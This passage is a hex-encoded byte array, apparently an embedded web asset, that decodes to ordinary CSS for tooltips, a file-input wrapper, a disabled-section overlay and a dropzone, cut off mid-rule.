0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, + 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, + 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, + 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x34, + 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, + 0x70, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, + 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, + 0x6C, 0x69, 0x67, 0x6E, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, + 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, + 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x62, 0x75, 0x74, 0x74, + 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, + 0x3A, 0x20, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, 0x32, 0x30, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, + 0x72, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, + 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x5D, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, + 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, + 0x65, 0x72, 0x20, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x66, 0x37, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, + 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x30, 0x30, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, + 0x20, 0x54, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x53, 0x74, 0x79, + 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, + 0x70, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, + 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, + 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x68, 0x65, + 0x6C, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, + 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, + 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, + 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x76, 0x69, + 0x73, 0x69, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x68, 0x69, + 0x64, 0x64, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, + 0x3A, 0x20, 0x32, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, + 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x6F, + 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, 0x67, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, + 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x74, 0x65, 0x78, + 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, 0x6C, + 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, + 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, + 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, + 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x74, 0x65, 0x72, 0x3A, 0x20, + 0x64, 0x72, 0x6F, 0x70, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x28, + 0x30, 0x20, 0x30, 0x20, 0x31, 0x33, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, + 0x28, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, 0x2F, 0x20, 0x30, 0x2E, 0x33, + 0x29, 0x29, 0x20, 0x64, 0x72, 0x6F, 0x70, 0x2D, 0x73, 0x68, 0x61, 0x64, + 0x6F, 0x77, 0x28, 0x30, 0x20, 0x30, 0x20, 0x35, 0x70, 0x78, 0x20, 0x72, + 0x67, 0x62, 0x28, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, 0x2F, 0x20, 0x30, + 0x2E, 0x38, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, + 0x6E, 0x67, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, + 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, + 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7A, 0x2D, 0x69, 0x6E, 0x64, + 0x65, 0x78, 0x3A, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x74, 0x74, + 0x6F, 0x6D, 0x3A, 0x20, 0x31, 0x32, 0x35, 0x25, 0x3B, 0x20, 0x2F, 0x2A, + 0x20, 0x50, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x62, + 0x6F, 0x76, 0x65, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x66, 0x74, + 0x3A, 0x20, 0x35, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, + 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, + 0x6C, 0x61, 0x74, 0x65, 0x58, 0x28, 0x2D, 0x35, 0x30, 0x25, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x30, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, + 0x6E, 0x3A, 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x20, 0x30, + 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, + 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, + 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, + 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x22, 0x22, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, + 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, + 0x70, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x20, 0x2F, 0x2A, 0x20, + 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x6F, + 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, + 0x66, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, + 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x58, 0x28, 0x2D, 0x35, 0x30, 0x25, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x77, + 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x73, 0x74, 0x79, 0x6C, 0x65, + 0x3A, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, + 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, + 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, + 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x20, 0x74, 0x72, 0x61, + 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x74, 0x72, 0x61, + 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x74, 0x72, 0x61, + 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, + 0x6C, 0x74, 0x69, 0x70, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x2E, + 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x76, 0x69, 0x73, 0x69, 0x62, 0x69, 0x6C, 0x69, 0x74, + 0x79, 0x3A, 0x20, 0x76, 0x69, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x31, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, + 0x2A, 0x20, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x64, 0x20, 0x53, + 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, + 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2E, 0x64, 0x69, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x64, + 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x30, 0x2E, 0x36, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x65, + 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, + 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x64, 0x69, 0x73, + 0x61, 0x62, 0x6C, 0x65, 0x64, 0x2D, 0x6F, 0x76, 0x65, 0x72, 0x6C, 0x61, + 0x79, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, + 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, + 0x65, 0x66, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, + 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, + 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, + 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, + 0x37, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, + 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, + 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x2D, + 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, + 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x69, 0x66, 0x79, 0x2D, + 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x63, 0x65, 0x6E, + 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, + 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x32, + 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, + 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x44, 0x72, 0x6F, 0x70, 0x7A, 0x6F, 0x6E, + 0x65, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x64, + 0x72, 0x6F, 0x70, 0x7A, 0x6F, 0x6E, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x33, 0x70, 0x78, 0x20, 0x64, + 0x61, 0x73, 0x68, 0x65, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, + 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, + 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, + 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, + 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, + 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, + 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, + 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, + 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, + 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x61, + 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 